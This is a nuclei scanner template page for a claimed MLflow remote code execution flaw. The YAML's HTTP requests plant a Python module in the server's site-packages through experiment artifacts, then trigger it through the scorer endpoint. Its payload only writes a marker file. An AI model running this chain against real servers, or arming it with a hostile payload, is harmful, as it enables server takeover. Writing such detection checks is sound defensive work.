CVE-2026-116692: MLflow < 3.17.0 - Third-Party Scorer Deserialization Remote Code Execution
- Template: CVE-2026-116692
- Name: MLflow < 3.17.0 - Third-Party Scorer Deserialization Remote Code Execution
- Description: MLflow 3.12.0rc0 to < 3.17.0 contains a remote code execution caused by insecure third-party scorer deserialization in mlflow/genai/scorers/base.py, letting attackers execute arbitrary code via writable allowed packages, exploit requires writable allowed scorer package and appropriate privileges.
- Impact: Attackers can execute arbitrary code remotely, potentially compromising the server and its data.
- Remediation: Update to version 3.17.0 or later.
- Severity: critical
- Authors: 0x_Akoko
- Tags: cve, cve2026, mlflow, deserialization, rce, unauth, intrusive, vkev
- References: https://github.com/mlflow/mlflow/security/advisories/GHSA-26p8-2jq9-3vq9, https://nvd.nist.gov/vuln/detail/CVE-2026-116692, https://github.com/mlflow/mlflow/commit/a732443e695c3c677680c54320efc394c81654ab
- Cves: CVE-2026-116692
- Verified: yes
- Max requests: 6
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-116692.yaml
- Digest: 4a0a0047304502206d509505d7666e9dbfe4a313f5b253e75aba4cc2a77de829f486cc2610027dd7022100b7ff7d9a1fe6ff98abdfbe96fb0cd5721865c74d3277d17b3c7dbe8ee8bbcb0d
- Created at: 2026-11-18T08:00:06Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 6
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-116692.yaml
Classification
- Cwe: CWE-94
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.03241
- Epss percentile: 0.88619
- Not known: cpe
Metadata
- Fofa-query: title="MLflow"
- Max-request: 6
- Product: mlflow
- Shodan-query: title:"MLflow"
- Vendor: mlflow
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| mlflow:mlflow | no | — |
Labels
- Name: MLflow - Remote Code Execution
- Impact: Attackers can execute arbitrary code remotely, potentially compromising the server and its data.
- Remediation: Update to version 3.17.0 or later.
- Vulnerability type: insecure_deserialization
- Vulnerability impact: remote_code_execution
- Requirements: Writable allowed scorer package and either no authentication or user with experiment creation/upload privileges
- Labels source: projectdiscovery
- From cve: CVE-2026-116692
- Not known: requirement type
```yaml
id: CVE-2026-116692
info:
name: MLflow < 3.17.0 - Third-Party Scorer Deserialization Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
MLflow 3.12.0rc0 to < 3.17.0 contains a remote code execution caused by insecure third-party scorer deserialization in mlflow/genai/scorers/base.py, letting attackers execute arbitrary code via writable allowed packages, exploit requires writable allowed scorer package and appropriate privileges.
impact: |
Attackers can execute arbitrary code remotely, potentially compromising the server and its data.
remediation: |
Update to version 3.17.0 or later.
reference:
- https://github.com/mlflow/mlflow/security/advisories/GHSA-26p8-2jq9-3vq9
- https://nvd.nist.gov/vuln/detail/CVE-2026-116692
- https://github.com/mlflow/mlflow/commit/a732443e695c3c677680c54320efc394c81654ab
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-116692
epss-score: 0.03241
epss-percentile: 0.88619
cwe-id: CWE-94
metadata:
verified: true
max-request: 6
vendor: mlflow
product: mlflow
shodan-query: title:"MLflow"
fofa-query: title="MLflow"
tags: cve,cve2026,mlflow,deserialization,rce,unauth,intrusive,vkev
variables:
modname: "{{rand_base(6)}}"
marker: "{{rand_base(8)}}"
flow: |
(() => {
// http(1) carries the compare_versions range gate, so a false return means the
// server is outside 3.12.0 - 3.16.x and nothing further is sent to it.
if (!http(1)) { return; }
let v = template["mlver"];
if (!v) { return; }
if (Array.isArray(v)) { v = v[0]; }
// Official images ship python3.10 up to mlflow 3.15 and python3.11 from 3.16.
// A wrong path puts the module somewhere that can never be imported.
set("pydir", parseInt(String(v).split(".")[1], 10) >= 16 ? "python3.11" : "python3.10");
if (!http(2)) { return; }
if (!http(3)) { return; }
if (!http(4)) { return; }
http(5);
http(6);
http(7);
})();
http:
- raw:
- |
GET /version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'len(mlver) > 0'
- 'compare_versions(mlver, ">= 3.12.0", "< 3.17.0")'
condition: and
internal: true
extractors:
- type: regex
name: mlver
group: 1
internal: true
regex:
- '^([0-9]+\.[0-9]+\.[0-9]+)'
- raw:
- |
POST /api/2.0/mlflow/experiments/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{modname}}","artifact_location":"file:///usr/local/lib/{{pydir}}/site-packages/mlflow/genai/scorers/trulens"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "experiment_id")'
condition: and
internal: true
extractors:
- type: json
name: expid
internal: true
json:
- '.experiment_id'
- raw:
- |
POST /api/2.0/mlflow/runs/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{expid}}","run_name":"{{modname}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "run_id")'
condition: and
internal: true
extractors:
- type: json
name: runid
internal: true
json:
- '.run.info.run_id'
- raw:
- |
POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{runid}}&path=sc_{{modname}}.py HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
class Trigger:
def __init__(self, **kwargs):
import json
from pathlib import Path
p = Path(__file__).resolve().parent / "pf_{{marker}}.json"
p.write_text(json.dumps({"marker": "{{marker}}"}))
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{expid}}","trace_ids":["{{rand_base(6)}}"],"log_assessments":false,"serialized_scorer":"{\"name\":\"{{modname}}\",\"third_party_scorer_data\":{\"module\":\"mlflow.genai.scorers.trulens.{{runid}}.artifacts.sc_{{modname}}\",\"class\":\"Trigger\",\"metric_name\":\"m\",\"kwargs\":{}}}"}
- raw:
- |
GET /get-artifact?run_uuid={{runid}}&path=pf_{{marker}}.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, marker)'
condition: and
- raw:
- |
POST /api/2.0/mlflow/experiments/delete HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{expid}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
digest: 4a0a0047304502206d509505d7666e9dbfe4a313f5b253e75aba4cc2a77de829f486cc2610027dd7022100b7ff7d9a1fe6ff98abdfbe96fb0cd5721865c74d3277d17b3c7dbe8ee8bbcb0d:922c64590222798bb761d5b6d8e72950
```